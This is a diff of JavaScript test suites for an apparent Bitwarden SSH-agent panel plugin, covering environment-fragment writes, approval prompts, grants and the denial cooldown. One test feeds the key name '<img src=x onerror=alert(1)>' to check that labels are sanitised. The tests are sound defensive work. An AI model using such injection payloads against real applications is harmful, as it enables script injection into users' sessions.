check("an unrecognised socket is not attributed to anyone",
|
||||
unknownOwner.owner === "", unknownOwner.owner)
|
||||
|
||||
// The panel only sees the graphical session's environment. Anything it says
|
||||
// about routing has to be offered as a hint the user can check themselves.
|
||||
for (const sock of [ours, "", "/run/user/1000/gcr/ssh"]) {
|
||||
const d = diag(sock)
|
||||
check(`the ${d.state} diagnostic offers the terminal check`,
|
||||
d.terminalCheck === Model.sshAuthSockTerminalCheck(), d.terminalCheck)
|
||||
check(`the ${d.state} diagnostic never claims to be authoritative`,
|
||||
!/\b(must|required|cannot start|will not start)\b/i.test(d.message), d.message)
|
||||
}
|
||||
check("the terminal check is the documented one",
|
||||
Model.sshAuthSockTerminalCheck().indexOf("ssh-add -L") >= 0
|
||||
&& Model.sshAuthSockTerminalCheck().indexOf("SSH_AUTH_SOCK") >= 0,
|
||||
Model.sshAuthSockTerminalCheck())
|
||||
|
||||
// With no runtime directory there is nothing to compare against, so the
|
||||
// diagnostic must not claim the session points somewhere wrong.
|
||||
eq("no runtime directory yields no verdict", diag(ours, "").state, "unknown")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The managed UWSM fragment, exercised against a real filesystem
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const os = require("os")
|
||||
const { spawnSync } = require("child_process")
|
||||
|
||||
const FRAGMENT_REL = ".config/uwsm/env.d/50-qs-bitwarden-ssh-agent"
|
||||
check("the display path is the documented one",
|
||||
Model.uwsmFragmentDisplayPath() === "~/" + FRAGMENT_REL, Model.uwsmFragmentDisplayPath())
|
||||
|
||||
const content = Model.uwsmFragmentContent()
|
||||
check("the fragment exports SSH_AUTH_SOCK",
|
||||
content.indexOf('export SSH_AUTH_SOCK=') >= 0, content)
|
||||
check("the fragment defers XDG_RUNTIME_DIR to login time",
|
||||
content.indexOf('${XDG_RUNTIME_DIR}') >= 0, content)
|
||||
check("the fragment marks itself as plugin-owned",
|
||||
/qs-bitwarden-cli/.test(content) && /^#/m.test(content), content)
|
||||
|
||||
function inTempHome(fn) {
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-uwsm-"))
|
||||
try { return fn(home) } finally { fs.rmSync(home, { recursive: true, force: true }) }
|
||||
}
|
||||
const run = (cmd, home) =>
|
||||
spawnSync(cmd[0], cmd.slice(1), { env: { HOME: home, PATH: "/usr/bin:/bin" }, encoding: "utf8" })
|
||||
const inspect = home => Model.parseUwsmInspection(run(Model.uwsmInspectCommand(), home).stdout)
|
||||
const fragmentAt = home => path.join(home, FRAGMENT_REL)
|
||||
|
||||
inTempHome(home => {
|
||||
eq("a fresh home has no fragment", inspect(home).state, "absent")
|
||||
|
||||
const written = run(Model.uwsmWriteCommand(), home)
|
||||
eq("writing a fresh fragment succeeds", Model.parseUwsmActionResult(written.status, written.stdout).ok, true)
|
||||
eq("the fragment is now recognised as managed", inspect(home).state, "managed")
|
||||
eq("the file holds exactly the managed content",
|
||||
fs.readFileSync(fragmentAt(home), "utf8"), content)
|
||||
|
||||
const mode = fs.statSync(fragmentAt(home)).mode & 0o777
|
||||
check("the fragment is not writable by group or other", (mode & 0o022) === 0, mode.toString(8))
|
||||
const dirMode = fs.statSync(path.dirname(fragmentAt(home))).mode & 0o777
|
||||
check("the created parent is not writable by group or other", (dirMode & 0o022) === 0, dirMode.toString(8))
|
||||
|
||||
const again = run(Model.uwsmWriteCommand(), home)
|
||||
eq("rewriting an identical fragment is not an error",
|
||||
Model.parseUwsmActionResult(again.status, again.stdout).ok, true)
|
||||
|
||||
const removed = run(Model.uwsmRemoveCommand(), home)
|
||||
eq("removing a managed fragment succeeds", Model.parseUwsmActionResult(removed.status, removed.stdout).ok, true)
|
||||
check("the fragment is gone", !fs.existsSync(fragmentAt(home)), "still present")
|
||||
eq("removal leaves the state absent", inspect(home).state, "absent")
|
||||
|
||||
const removeAgain = run(Model.uwsmRemoveCommand(), home)
|
||||
eq("removing an absent fragment is not an error",
|
||||
Model.parseUwsmActionResult(removeAgain.status, removeAgain.stdout).ok, true)
|
||||
})
|
||||
|
||||
// Somebody else's file at the managed path is never replaced or deleted.
|
||||
inTempHome(home => {
|
||||
fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true })
|
||||
const foreign = 'export SSH_AUTH_SOCK="/run/user/1000/my-own-agent.sock"\n'
|
||||
fs.writeFileSync(fragmentAt(home), foreign)
|
||||
|
||||
const state = inspect(home)
|
||||
eq("hand-written content is recognised as foreign", state.state, "foreign")
|
||||
eq("foreign content is not offered for removal", state.removable, false)
|
||||
check("foreign content comes with cleanup instructions",
|
||||
state.message.indexOf(Model.uwsmFragmentDisplayPath()) >= 0, state.message)
|
||||
|
||||
const written = run(Model.uwsmWriteCommand(), home)
|
||||
const outcome = Model.parseUwsmActionResult(written.status, written.stdout)
|
||||
eq("writing refuses to replace foreign content", outcome.ok, false)
|
||||
eq("the refusal is reported as a conflict", outcome.code, "FOREIGN")
|
||||
eq("the foreign file is untouched", fs.readFileSync(fragmentAt(home), "utf8"), foreign)
|
||||
|
||||
const removed = run(Model.uwsmRemoveCommand(), home)
|
||||
eq("removal refuses to delete foreign content",
|
||||
Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false)
|
||||
eq("the foreign file survives removal", fs.readFileSync(fragmentAt(home), "utf8"), foreign)
|
||||
})
|
||||
|
||||
// A symlink at the managed path is refused outright rather than followed: it
|
||||
// would otherwise be an arbitrary-write primitive into whatever it targets.
|
||||
inTempHome(home => {
|
||||
const target = path.join(home, "target-file")
|
||||
fs.writeFileSync(target, "original\n")
|
||||
fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true })
|
||||
fs.symlinkSync(target, fragmentAt(home))
|
||||
|
||||
eq("a symlink is recognised as a symlink", inspect(home).state, "symlink")
|
||||
eq("a symlink is not offered for removal", inspect(home).removable, false)
|
||||
|
||||
const written = run(Model.uwsmWriteCommand(), home)
|
||||
const outcome = Model.parseUwsmActionResult(written.status, written.stdout)
|
||||
eq("writing refuses to follow a symlink", outcome.ok, false)
|
||||
eq("the symlink refusal has its own code", outcome.code, "SYMLINK")
|
||||
eq("the symlink target is untouched", fs.readFileSync(target, "utf8"), "original\n")
|
||||
check("the symlink itself is untouched", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "no longer a symlink")
|
||||
|
||||
const removed = run(Model.uwsmRemoveCommand(), home)
|
||||
eq("removal refuses to follow a symlink",
|
||||
Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false)
|
||||
check("the symlink survives removal", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "removed")
|
||||
eq("the symlink target survives removal", fs.readFileSync(target, "utf8"), "original\n")
|
||||
})
|
||||
|
||||
// A directory at the managed path is not a fragment either.
|
||||
inTempHome(home => {
|
||||
fs.mkdirSync(fragmentAt(home), { recursive: true })
|
||||
eq("a directory at the path is foreign", inspect(home).state, "foreign")
|
||||
eq("writing refuses a directory",
|
||||
Model.parseUwsmActionResult(run(Model.uwsmWriteCommand(), home).status, "").ok, false)
|
||||
})
|
||||
|
||||
// No HOME is a refusal, not a write into an unexpected place.
|
||||
{
|
||||
const noHome = spawnSync("bash", Model.uwsmInspectCommand().slice(1),
|
||||
{ env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" })
|
||||
eq("no HOME is reported rather than guessed", Model.parseUwsmInspection(noHome.stdout).state, "no-home")
|
||||
const w = spawnSync("bash", Model.uwsmWriteCommand().slice(1),
|
||||
{ env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" })
|
||||
eq("writing without HOME fails closed", Model.parseUwsmActionResult(w.status, w.stdout).ok, false)
|
||||
}
|
||||
|
||||
// Every outcome the panel can show has to say a logout is what applies it.
|
||||
for (const [status, out] of [[0, "written\n"]]) {
|
||||
const r = Model.parseUwsmActionResult(status, out)
|
||||
check("a successful write tells the user to log out and back in",
|
||||
/log ?out/i.test(r.message) && /log ?in/i.test(r.message), r.message)
|
||||
check("a successful write explicitly rules out a shell restart",
|
||||
/restart\w*\s+the\s+shell\s+is\s+not\s+enough/i.test(r.message), r.message)
|
||||
}
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-setup: ${pass} passed`)
|
||||
@@ -0,0 +1,720 @@
|
||||
#!/usr/bin/env node
|
||||
// The approval prompt is the one place a user is asked to authorise a
|
||||
// signature, so what it shows has to be accurate about what the companion
|
||||
// actually verified -- and what it did not. These tests cover the prompt's
|
||||
// presentation, the deny/approve/grant control lines, the denial cooldown
|
||||
// that stops a same-UID process reopening the panel forever, and the rule
|
||||
// that no prompt is ever raised over a locked screen.
|
||||
//
|
||||
// node tests/ssh-agent-ui.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseAgentEvent = parseAgentEvent
|
||||
exports.sshAgentApproveLine = sshAgentApproveLine
|
||||
exports.sshAgentDenyLine = sshAgentDenyLine
|
||||
exports.sshAgentUnlockCancelledLine = sshAgentUnlockCancelledLine
|
||||
exports.sshAgentRevokeGrantLine = sshAgentRevokeGrantLine
|
||||
exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine
|
||||
exports.sshAgentPromptView = sshAgentPromptView
|
||||
exports.sshAgentGrantViews = sshAgentGrantViews
|
||||
exports.sshAgentGrantsAt = sshAgentGrantsAt
|
||||
exports.sshAgentDevelopmentHelperWarning = sshAgentDevelopmentHelperWarning
|
||||
exports.sshAgentRoutingNotice = sshAgentRoutingNotice
|
||||
exports.pluginDataRemoveCommand = pluginDataRemoveCommand
|
||||
exports.parsePluginDataRemoval = parsePluginDataRemoval
|
||||
exports.sshAgentShouldPrompt = sshAgentShouldPrompt
|
||||
exports.sshAgentCooldownInitial = sshAgentCooldownInitial
|
||||
exports.sshAgentCooldownAfter = sshAgentCooldownAfter
|
||||
exports.sshAgentCooldownActive = sshAgentCooldownActive
|
||||
exports.sshAgentCooldownStatus = sshAgentCooldownStatus
|
||||
exports.sshAgentLoadingNote = sshAgentLoadingNote
|
||||
exports.sshAgentOptionsLine = sshAgentOptionsLine
|
||||
exports.sshAgentRequestDeadlineMs = sshAgentRequestDeadlineMs
|
||||
exports.sshAgentEnqueuePrompt = sshAgentEnqueuePrompt
|
||||
exports.sshAgentDequeuePrompt = sshAgentDequeuePrompt
|
||||
exports.sshAgentRemovePrompt = sshAgentRemovePrompt
|
||||
exports.sshAgentPendingCount = sshAgentPendingCount
|
||||
exports.plainLabel = plainLabel
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The companion's new messages must survive the bounded reader
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
for (const [type, body] of [
|
||||
["unlock_required", { requestId: 41, reason: "sign", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh" }],
|
||||
["approval_required", { requestId: 42, keyId: "k", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh", operation: "ssh-sign", forwarded: false, grantOffered: true }],
|
||||
["request_cancelled", { requestId: 42, reason: "withdrawn" }],
|
||||
["grants_changed", { grants: [] }]
|
||||
]) {
|
||||
const parsed = Model.parseAgentEvent(JSON.stringify(Object.assign({ v: 1, type: type }, body)))
|
||||
eq(`${type} parses`, parsed.ok, true)
|
||||
eq(`${type} keeps its type`, parsed.ok && parsed.message.type, type)
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Control lines
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("approve once carries a zero window", Model.sshAgentApproveLine(42, 0),
|
||||
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n")
|
||||
eq("approve for a process carries its window", Model.sshAgentApproveLine(42, 120),
|
||||
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 120 }) + "\n")
|
||||
eq("a grant window is clamped to the documented cap", Model.sshAgentApproveLine(42, 99999),
|
||||
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 900 }) + "\n")
|
||||
eq("a negative window approves once instead", Model.sshAgentApproveLine(42, -5),
|
||||
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n")
|
||||
eq("deny is a versioned v1 line", Model.sshAgentDenyLine(42),
|
||||
JSON.stringify({ v: 1, type: "deny", requestId: 42 }) + "\n")
|
||||
eq("a dismissed unlock is reported as user-cancelled", Model.sshAgentUnlockCancelledLine(41),
|
||||
JSON.stringify({ v: 1, type: "unlock_cancelled", requestId: 41, reason: "user-cancelled" }) + "\n")
|
||||
// The companion cannot read shell.json, so the panel has to tell it.
|
||||
eq("unlock-on-demand is sent to the companion", Model.sshAgentOptionsLine(true),
|
||||
JSON.stringify({ v: 1, type: "options", unlockOnDemand: true }) + "\n")
|
||||
eq("and its default off state is sent too", Model.sshAgentOptionsLine(false),
|
||||
JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n")
|
||||
eq("anything that is not true is off", Model.sshAgentOptionsLine(undefined),
|
||||
JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n")
|
||||
|
||||
eq("a single grant is revoked by id", Model.sshAgentRevokeGrantLine(9),
|
||||
JSON.stringify({ v: 1, type: "revoke_grant", grantId: 9 }) + "\n")
|
||||
eq("an invalid request id yields no line", Model.sshAgentApproveLine("nope", 0), "")
|
||||
eq("an invalid grant id yields no line", Model.sshAgentRevokeGrantLine(-1), "")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// What the prompt shows
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const request = {
|
||||
v: 1, type: "approval_required", requestId: 42, keyId: "item-1",
|
||||
keyName: "personal ed25519", fingerprint: "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0",
|
||||
pid: 48213, processPath: "/usr/bin/ssh", operation: "ssh-sign",
|
||||
forwarded: false, grantOffered: true
|
||||
}
|
||||
|
||||
const view = Model.sshAgentPromptView(request, 120)
|
||||
eq("the prompt names the key", view.keyName, "personal ed25519")
|
||||
eq("the prompt shows the full fingerprint", view.fingerprint, "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0")
|
||||
eq("the prompt shows the executable path", view.processPath, "/usr/bin/ssh")
|
||||
eq("the prompt derives the process name from the path", view.processName, "ssh")
|
||||
eq("the prompt shows the pid", view.pid, 48213)
|
||||
eq("the prompt offers a grant", view.grantOffered, true)
|
||||
check("the grant button states its window", /2m|120/.test(view.grantLabel), view.grantLabel)
|
||||
// A grant covers one program, not one process (docs/decisions/0002-grant-scope.md).
|
||||
// The button has to say so, or it promises a narrower thing than it does.
|
||||
check("the grant button says what it actually covers",
|
||||
/program/i.test(view.grantLabel) && !/this process/i.test(view.grantLabel), view.grantLabel)
|
||||
|
||||
// The companion verifies the peer UID and nothing else. Saying so on the
|
||||
// prompt is the difference between context and a claim of identity.
|
||||
check("the prompt says process details are not verified",
|
||||
/not verified|reported/i.test(view.provenanceNote), view.provenanceNote)
|
||||
check("the prompt never calls the process trusted or verified",
|
||||
!/\b(verified|authenticated|trusted) (process|by)\b/i.test(view.provenanceNote), view.provenanceNote)
|
||||
|
||||
// A zero window means grants are off, so the button must not be offered.
|
||||
const noGrant = Model.sshAgentPromptView(request, 0)
|
||||
eq("a zero window offers no grant", noGrant.grantOffered, false)
|
||||
const refusedGrant = Model.sshAgentPromptView(Object.assign({}, request, { grantOffered: false }), 120)
|
||||
eq("a companion that offers no grant is respected", refusedGrant.grantOffered, false)
|
||||
|
||||
// Forwarding is rejected in v1; if one ever arrives it is called out, not
|
||||
// shown as ordinary context.
|
||||
const forwarded = Model.sshAgentPromptView(Object.assign({}, request, { forwarded: true }), 120)
|
||||
check("a forwarded request is flagged", forwarded.forwardedWarning.length > 0, forwarded.forwardedWarning)
|
||||
eq("a forwarded request offers no grant", forwarded.grantOffered, false)
|
||||
eq("an ordinary request has no forwarding warning", view.forwardedWarning, "")
|
||||
|
||||
// A vault item's name is attacker-controllable by whoever shares the
|
||||
// collection it came from, and the process path comes from outside too.
|
||||
const hostile = Model.sshAgentPromptView(Object.assign({}, request, {
|
||||
keyName: "<img src=x onerror=alert(1)>",
|
||||
processPath: "/usr/bin/<b>ssh</b>"
|
||||
}), 120)
|
||||
check("a markup key name cannot reach a rich-text control",
|
||||
Model.plainLabel(hostile.keyName).indexOf("<img") < 0, Model.plainLabel(hostile.keyName))
|
||||
check("a hostile name is not silently dropped",
|
||||
hostile.keyName.length > 0, hostile.keyName)
|
||||
|
||||
const huge = Model.sshAgentPromptView(Object.assign({}, request, {
|
||||
keyName: "n".repeat(5000), processPath: "/" + "p".repeat(5000)
|
||||
}), 120)
|
||||
check("an absurd key name is bounded", huge.keyName.length <= 256, String(huge.keyName.length))
|
||||
check("an absurd path is bounded", huge.processPath.length <= 512, String(huge.processPath.length))
|
||||
|
||||
// The panel's countdown has to agree with the companion's deadline, or it
|
||||
// counts down to a moment nothing happens at. See
|
||||
// docs/decisions/0003-request-deadline.md for the figure.
|
||||
eq("the request deadline matches the companion's", Model.sshAgentRequestDeadlineMs(), 120000)
|
||||
const agentSrc = fs.readFileSync(path.join(repoRoot, "agent", "src", "approvals.rs"), "utf8")
|
||||
const agentDeadline = /pub const REQUEST_LIFETIME_MS: u64 = ([0-9_]+);/.exec(agentSrc)
|
||||
check("the panel and the companion agree on it",
|
||||
agentDeadline && Number(agentDeadline[1].replace(/_/g, "")) === Model.sshAgentRequestDeadlineMs(),
|
||||
agentDeadline ? agentDeadline[1] : "REQUEST_LIFETIME_MS not found")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Grants
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const grants = Model.sshAgentGrantViews([
|
||||
{ grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 95 },
|
||||
{ grantId: 10, keyName: "work rsa", fingerprint: "SHA256:y", pid: 5, processPath: "/usr/bin/git", expiresInSec: 0 }
|
||||
])
|
||||
eq("every grant is listed", grants.length, 2)
|
||||
eq("a grant keeps its id", grants[0].grantId, 9)
|
||||
eq("a grant names its process", grants[0].processName, "ssh")
|
||||
check("a grant states its remaining time", /1m 35s|95/.test(grants[0].remainingLabel), grants[0].remainingLabel)
|
||||
check("an expiring grant says so", grants[1].remainingLabel.length > 0, grants[1].remainingLabel)
|
||||
check("no grant view carries key material",
|
||||
grants.every(g => JSON.stringify(g).indexOf("PRIVATE") < 0), "leaked")
|
||||
eq("a malformed grant list yields nothing", Model.sshAgentGrantViews(null).length, 0)
|
||||
|
||||
// A grant is announced once and then nothing is said until it changes, so the
|
||||
// remaining time has to be re-derived rather than remembered. Without this the
|
||||
// settings screen showed "1m 59s left" for the whole two minutes and then the
|
||||
// row disappeared, having never counted down.
|
||||
const announced = Model.sshAgentGrantViews(
|
||||
[{ grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 120 }],
|
||||
10_000)
|
||||
eq("an announced grant records when it expires", announced[0].expiresAtMs, 130_000)
|
||||
const halfway = Model.sshAgentGrantsAt(announced, 70_000)
|
||||
eq("the remaining time follows the clock", halfway[0].remainingSec, 60)
|
||||
check("and the label follows it", /1m/.test(halfway[0].remainingLabel), halfway[0].remainingLabel)
|
||||
eq("a lapsed grant leaves the list without waiting to be told",
|
||||
Model.sshAgentGrantsAt(announced, 130_001).length, 0)
|
||||
eq("a grant on its last second is still listed",
|
||||
Model.sshAgentGrantsAt(announced, 129_500).length, 1)
|
||||
eq("an unstamped view survives re-derivation rather than vanishing",
|
||||
Model.sshAgentGrantsAt([{ grantId: 9, remainingLabel: "2m left" }], 70_000).length, 1)
|
||||
eq("and so does every view before the first tick",
|
||||
Model.sshAgentGrantsAt(announced, 0).length, 1)
|
||||
eq("a malformed set re-derives to nothing", Model.sshAgentGrantsAt(null, 1).length, 0)
|
||||
|
||||
// A development helper is a state you can sit in for days without noticing,
|
||||
// signing with a binary that has no recorded digest and no provenance. The
|
||||
// warning has to say why that matters, and distinguish a shipped helper that
|
||||
// was rejected from one that was simply never there.
|
||||
const rejected = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "mismatch" })
|
||||
check("a rejected shipped helper is named as the reason", /checksum/i.test(rejected), rejected)
|
||||
const absent = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "unchecked" })
|
||||
check("an absent one is not blamed on a checksum", !/checksum/i.test(absent), absent)
|
||||
for (const [label, text] of [["rejected", rejected], ["absent", absent]]) {
|
||||
check(`the ${label} warning says what is serving keys`, /locally built/i.test(text), text)
|
||||
check(`the ${label} warning says what it lacks`, /provenance|digest/i.test(text), text)
|
||||
check(`the ${label} warning says how to fix it`, /reinstall/i.test(text), text)
|
||||
check(`the ${label} warning does not answer a user with a build command`,
|
||||
!/build-agent|cargo/.test(text), text)
|
||||
}
|
||||
check("a missing helper record does not throw",
|
||||
typeof Model.sshAgentDevelopmentHelperWarning(null) === "string", "threw or returned non-string")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Never prompt over a locked screen
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("an ordinary desktop prompts", Model.sshAgentShouldPrompt({ screenLocked: false }), true)
|
||||
eq("a locked screen never prompts", Model.sshAgentShouldPrompt({ screenLocked: true }), false)
|
||||
eq("an unknown screen state does not prompt", Model.sshAgentShouldPrompt(null), false)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Denial cooldown
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
let cool = Model.sshAgentCooldownInitial()
|
||||
eq("nothing is on cooldown to begin with", Model.sshAgentCooldownActive(cool, 0), false)
|
||||
|
||||
cool = Model.sshAgentCooldownAfter(cool, "denied", 1000)
|
||||
eq("one denial does not start a cooldown", Model.sshAgentCooldownActive(cool, 1000), false)
|
||||
cool = Model.sshAgentCooldownAfter(cool, "denied", 2000)
|
||||
eq("two consecutive denials start one", Model.sshAgentCooldownActive(cool, 2000), true)
|
||||
eq("the cooldown ends on its own", Model.sshAgentCooldownActive(cool, 2000 + 10 * 60 * 1000), false)
|
||||
|
||||
// A timeout is a denial for this purpose: the user saw it and did nothing.
|
||||
let timedOut = Model.sshAgentCooldownInitial()
|
||||
timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 0)
|
||||
timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 100)
|
||||
eq("two timeouts also start a cooldown", Model.sshAgentCooldownActive(timedOut, 100), true)
|
||||
|
||||
// Approving clears the history: the user is engaging, not being pestered.
|
||||
let mixed = Model.sshAgentCooldownInitial()
|
||||
mixed = Model.sshAgentCooldownAfter(mixed, "denied", 0)
|
||||
mixed = Model.sshAgentCooldownAfter(mixed, "approved", 100)
|
||||
mixed = Model.sshAgentCooldownAfter(mixed, "denied", 200)
|
||||
eq("an approval resets the denial run", Model.sshAgentCooldownActive(mixed, 200), false)
|
||||
|
||||
// An approval cannot end a cooldown that is already running -- the cooldown is
|
||||
// precisely what stops the prompt an approval would answer. Only an explicit
|
||||
// resume ends it early; otherwise a user who dismissed two prompts waits out
|
||||
// the full five minutes with nothing they can do about it.
|
||||
let stuck = Model.sshAgentCooldownInitial()
|
||||
stuck = Model.sshAgentCooldownAfter(stuck, "denied", 0)
|
||||
stuck = Model.sshAgentCooldownAfter(stuck, "denied", 100)
|
||||
eq("two denials leave a cooldown running", Model.sshAgentCooldownActive(stuck, 100), true)
|
||||
stuck = Model.sshAgentCooldownAfter(stuck, "resumed", 200)
|
||||
eq("an explicit resume ends it at once", Model.sshAgentCooldownActive(stuck, 200), false)
|
||||
eq("and clears the run behind it, so one later denial does not re-arm it",
|
||||
Model.sshAgentCooldownActive(Model.sshAgentCooldownAfter(stuck, "denied", 300), 300), false)
|
||||
|
||||
// Nothing the requesting process does may end a cooldown, or prolong one: the
|
||||
// suppressed path answers the client itself and records no outcome, so only
|
||||
// prompts a person actually saw ever feed the run.
|
||||
let unattended = Model.sshAgentCooldownInitial()
|
||||
unattended = Model.sshAgentCooldownAfter(unattended, "denied", 0)
|
||||
unattended = Model.sshAgentCooldownAfter(unattended, "denied", 100)
|
||||
eq("an unanswered request leaves the window where it was",
|
||||
Model.sshAgentCooldownAfter(unattended, "withdrawn", 200).untilMs, unattended.untilMs)
|
||||
eq("and the cooldown lapses on its own",
|
||||
Model.sshAgentCooldownActive(unattended, 100 + 5 * 60 * 1000), false)
|
||||
|
||||
// A cooldown that fails signatures silently is worse than the pestering it
|
||||
// prevents: SSH just stops working for five minutes with no explanation
|
||||
// anywhere. It has to say so, and say when it lifts.
|
||||
let cooled = Model.sshAgentCooldownInitial()
|
||||
const quiet = Model.sshAgentCooldownStatus(cooled, 0)
|
||||
eq("nothing is reported while no cooldown is running", quiet.active, false)
|
||||
eq("a quiet cooldown has no message", quiet.message, "")
|
||||
|
||||
cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0)
|
||||
cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0)
|
||||
const cooling = Model.sshAgentCooldownStatus(cooled, 0)
|
||||
eq("an active cooldown is reported", cooling.active, true)
|
||||
check("it says SSH requests are being refused",
|
||||
/refus|declin/i.test(cooling.message), cooling.message)
|
||||
check("it says when it lifts", /\d/.test(cooling.message), cooling.message)
|
||||
eq("it reports the remaining time", cooling.remainingSec, 300)
|
||||
check("the remaining time counts down",
|
||||
Model.sshAgentCooldownStatus(cooled, 60000).remainingSec === 240,
|
||||
String(Model.sshAgentCooldownStatus(cooled, 60000).remainingSec))
|
||||
eq("it clears itself when the window passes",
|
||||
Model.sshAgentCooldownStatus(cooled, 5 * 60 * 1000).active, false)
|
||||
check("the status never names a key or a process",
|
||||
cooling.message.indexOf("ssh-") < 0 && cooling.message.indexOf("/usr/") < 0, cooling.message)
|
||||
|
||||
// Unlocking runs one `bw list items`, which takes seconds on a real vault.
|
||||
// The request that triggered the unlock is held across it, so without a
|
||||
// loading state the user unlocks and then watches nothing happen.
|
||||
const waiting = Model.sshAgentPromptView(Object.assign({}, request, { type: "unlock_required" }), 120)
|
||||
check("a held request can say it is still loading",
|
||||
typeof Model.sshAgentLoadingNote === "function", "no loading note is available")
|
||||
if (typeof Model.sshAgentLoadingNote === "function") {
|
||||
const note = Model.sshAgentLoadingNote()
|
||||
check("the loading note says keys are on the way", /load/i.test(note), note)
|
||||
check("the loading note does not promise it is instant",
|
||||
!/instant|immediat/i.test(note), note)
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The panel wiring
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// Every file the SSH markup lives in: the settings sections and the approval
|
||||
// screen have their own, and Panel.qml keeps the rest. Reading only the first
|
||||
// would leave every "this must NOT appear" check below passing on content that
|
||||
// had simply moved.
|
||||
const sshUiFiles = [
|
||||
"Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml",
|
||||
"SshApprovalPopup.qml", "SshUnlockScreen.qml"
|
||||
]
|
||||
const panelSrc = sshUiFiles
|
||||
.map(file => fs.existsSync(path.join(repoRoot, file))
|
||||
? fs.readFileSync(path.join(repoRoot, file), "utf8") : "")
|
||||
.join("\n")
|
||||
const approvalSrc = fs.readFileSync(path.join(repoRoot, "SshApprovalScreen.qml"), "utf8")
|
||||
const settingsSrc = fs.readFileSync(path.join(repoRoot, "SshAgentSettings.qml"), "utf8")
|
||||
const popupSrc = fs.existsSync(path.join(repoRoot, "SshApprovalPopup.qml"))
|
||||
? fs.readFileSync(path.join(repoRoot, "SshApprovalPopup.qml"), "utf8") : ""
|
||||
const unlockSrc = fs.existsSync(path.join(repoRoot, "SshUnlockScreen.qml"))
|
||||
? fs.readFileSync(path.join(repoRoot, "SshUnlockScreen.qml"), "utf8") : ""
|
||||
|
||||
// plainLabel() wraps its argument in a span when the text contains markup
|
||||
// characters, which a PlainText control then renders literally. The field is
|
||||
// matched with whatever object it hangs off, because the settings sections
|
||||
// reach the panel as `panel` and the screens as `root`: pinning the prefix
|
||||
// would let these checks pass on content that had only moved between files.
|
||||
for (const field of [
|
||||
"sshAgentVersion",
|
||||
"modelData.keyName",
|
||||
"modelData.processName",
|
||||
"sshUnlockRequest.keyName",
|
||||
"sshUnlockRequest.processName",
|
||||
"sshPrompt.keyName",
|
||||
"sshPrompt.processName",
|
||||
"sshPrompt.processPath",
|
||||
"sshRouting.owner"
|
||||
]) {
|
||||
const wrapped = new RegExp(
|
||||
"plainLabel\\(\\s*(?:root|panel|section\\.panel)?\\.?"
|
||||
+ field.replace(/\./g, "\\.") + "\\s*\\)")
|
||||
check("SSH PlainText labels do not receive rich-text wrappers for " + field,
|
||||
!wrapped.test(panelSrc), field)
|
||||
}
|
||||
|
||||
check("there is a dedicated approval screen",
|
||||
/currentScreen === "sshApproval"/.test(panelSrc), "no sshApproval screen")
|
||||
check("an approval_required message raises the prompt",
|
||||
/message\.type === "approval_required"[\s\S]{0,600}?showSshApproval\(message\)/.test(panelSrc),
|
||||
"approval_required never raises the prompt")
|
||||
